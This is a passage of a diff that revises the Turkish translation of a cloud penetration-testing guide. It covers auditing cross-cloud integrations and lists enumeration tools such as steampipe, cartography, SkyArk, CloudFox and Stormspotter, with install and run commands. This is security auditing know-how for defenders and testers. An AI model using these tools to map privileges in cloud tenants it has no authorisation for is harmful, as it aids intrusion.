entegrasyonların** kullanılması oldukça olasıdır. -- Denetlediğiniz bulutun **diğer platformlarla entegrasyonları** için, bu entegrasyonu **(kötüye) kullanma** erişimine sahip olanları bildirmeli ve gerçekleştirilen eylemin **ne kadar hassas** olduğunu sormalısınız.\ +- Denetlediğiniz bulutun **entegrasyonları** ile diğer platformlar arasında, bu entegrasyonu **(kötüye) kullanma** erişimine sahip olanları bildirmeli ve gerçekleştirilen eylemin **ne kadar hassas** olduğunu sormalısınız.\ Örneğin, GCP'den veri alan bir AWS bucket'ında kimlerin yazma yetkisi olduğunu sorun (GCP'de bu veriyi işlerken eylemin ne kadar hassas olduğunu sorun). -- Denetlediğiniz bulut içindeki **dış platformlardan entegrasyonlar** için, bu entegrasyonu **(kötüye) kullanma** erişimine sahip olanları sormalı ve verinin nasıl kullanıldığını kontrol etmelisiniz.\ -Örneğin, bir hizmet GCR'de barındırılan bir Docker görüntüsü kullanıyorsa, kimlerin bunu değiştirme erişimine sahip olduğunu ve bu görüntü çalıştırıldığında hangi hassas bilgilere ve erişimlere sahip olacağını sormalısınız. +- Denetlediğiniz bulut içindeki **entegrasyonlar** için dış platformlardan, bu entegrasyonu **(kötüye) kullanma** erişimine sahip olanları sormalı ve verinin nasıl kullanıldığını kontrol etmelisiniz.\ +Örneğin, bir hizmet GCR'de barındırılan bir Docker görüntüsü kullanıyorsa, bunu değiştirme erişimine sahip olanları ve bu görüntü çalıştırıldığında hangi hassas bilgilerin ve erişimlerin elde edileceğini sormalısınız. ## Çoklu Bulut Araçları @@ -170,7 +170,7 @@ steampipe check all Tüm Projeleri Kontrol Et -Tüm projeleri kontrol etmek için test edilecek tüm projeleri belirten `gcp.spc` dosyasını oluşturmanız gerekir. Aşağıdaki betikten gelen talimatları takip edebilirsiniz. +Tüm projeleri kontrol etmek için test edilecek tüm projeleri belirten `gcp.spc` dosyasını oluşturmanız gerekir. Aşağıdaki scriptteki talimatları takip edebilirsiniz. ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -238,7 +238,7 @@ python2.7 gerektirir ve bakımsız görünüyor. ### Nessus -Nessus'un _**Audit Cloud Infrastructure**_ taraması şunları destekler: AWS, Azure, Office 365, Rackspace, Salesforce. **Client Id** almak için **Azure**'da bazı ek yapılandırmalar gereklidir. +Nessus, AWS, Azure, Office 365, Rackspace, Salesforce'u destekleyen _**Audit Cloud Infrastructure**_ taramasına sahiptir. **Client Id** almak için **Azure**'da bazı ek yapılandırmalar gereklidir. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) @@ -263,12 +263,12 @@ cloudlist -config {{#endtab }} {{#endtabs }} -### [**harita çıkarma**](https://github.com/lyft/cartography) +### [**cartography**](https://github.com/lyft/cartography) -Harita çıkarma, altyapı varlıklarını ve bunlar arasındaki ilişkileri Neo4j veritabanası tarafından desteklenen sezgisel bir grafik görünümünde birleştiren bir Python aracıdır. +Cartography, altyapı varlıklarını ve bunlar arasındaki ilişkileri, Neo4j veritabanı tarafından desteklenen sezgisel bir grafik görünümünde birleştiren bir Python aracıdır. {{#tabs }} -{{#tab name="Kurulum" }} +{{#tab name="Install" }} ```bash # Installation docker image pull ghcr.io/lyft/cartography @@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase, bulut altyapısı, SaaS uygulamaları, güvenlik kontrolleri ve daha fazlası dahil olmak üzere hizmetlerden ve sistemlerden varlıkları ve ilişkileri Neo4j veritabanı tarafından desteklenen sezgisel bir grafik görünümünde toplar. +Starbase, bulut altyapısı, SaaS uygulamaları, güvenlik kontrolleri ve daha fazlası dahil olmak üzere hizmetlerden ve sistemlerden varlıkları ve ilişkileri toplayarak, Neo4j veritabanı ile desteklenen sezgisel bir grafik görünümüne dönüştürür. {{#tabs }} {{#tab name="Install" }} @@ -361,7 +361,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Tarayıcı AWS veya Azure ortamında en ayrıcalıklı kullanıcıları, AWS Shadow Admin'leri de dahil olmak üzere keşfedin. PowerShell kullanır. +Tarayıcıda taranan AWS veya Azure ortamındaki en ayrıcalıklı kullanıcıları, AWS Shadow Admins dahil olmak üzere keşfedin. PowerShell kullanır. ```powershell Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -377,7 +377,7 @@ Bir şirketin (hedef) altyapısını, dosyalarını ve en büyük bulut sağlay ### [CloudFox](https://github.com/BishopFox/cloudfox) - CloudFox, bulut altyapısında (şu anda yalnızca AWS ve Azure destekleniyor, GCP yakında gelecek) istismar edilebilir saldırı yollarını bulmak için bir araçtır. -- Manuel pentesting'i tamamlamak için tasarlanmış bir numaralandırma aracıdır. +- Manuel pentesting'i tamamlamak amacıyla tasarlanmış bir numaralandırma aracıdır. - Bulut ortamında herhangi bir veri oluşturmaz veya değiştirmez. ### Daha fazla bulut güvenlik aracı listesi @@ -412,7 +412,7 @@ azure-security/ ### Saldırı Grafiği -[**Stormspotter** ](https://github.com/Azure/Stormspotter), bir Azure aboneliğindeki kaynakların “saldırı grafiğini” oluşturur. Kırmızı takımlara ve pentesterlara saldırı yüzeyini ve bir kiracı içindeki pivot fırsatlarını görselleştirme imkanı tanır ve savunucularınızı olay yanıtı çalışmalarını hızlı bir şekilde yönlendirmek ve önceliklendirmek için güçlendirir. +[**Stormspotter** ](https://github.com/Azure/Stormspotter), bir Azure aboneliğindeki kaynakların “saldırı grafiğini” oluşturur. Kırmızı takımlara ve pentester'lara saldırı yüzeyini ve bir kiracı içindeki pivot fırsatlarını görselleştirme imkanı tanır ve savunucularınızı olay yanıtı çalışmalarını hızlı bir şekilde yönlendirmek ve önceliklendirmek için güçlendirir. ### Office365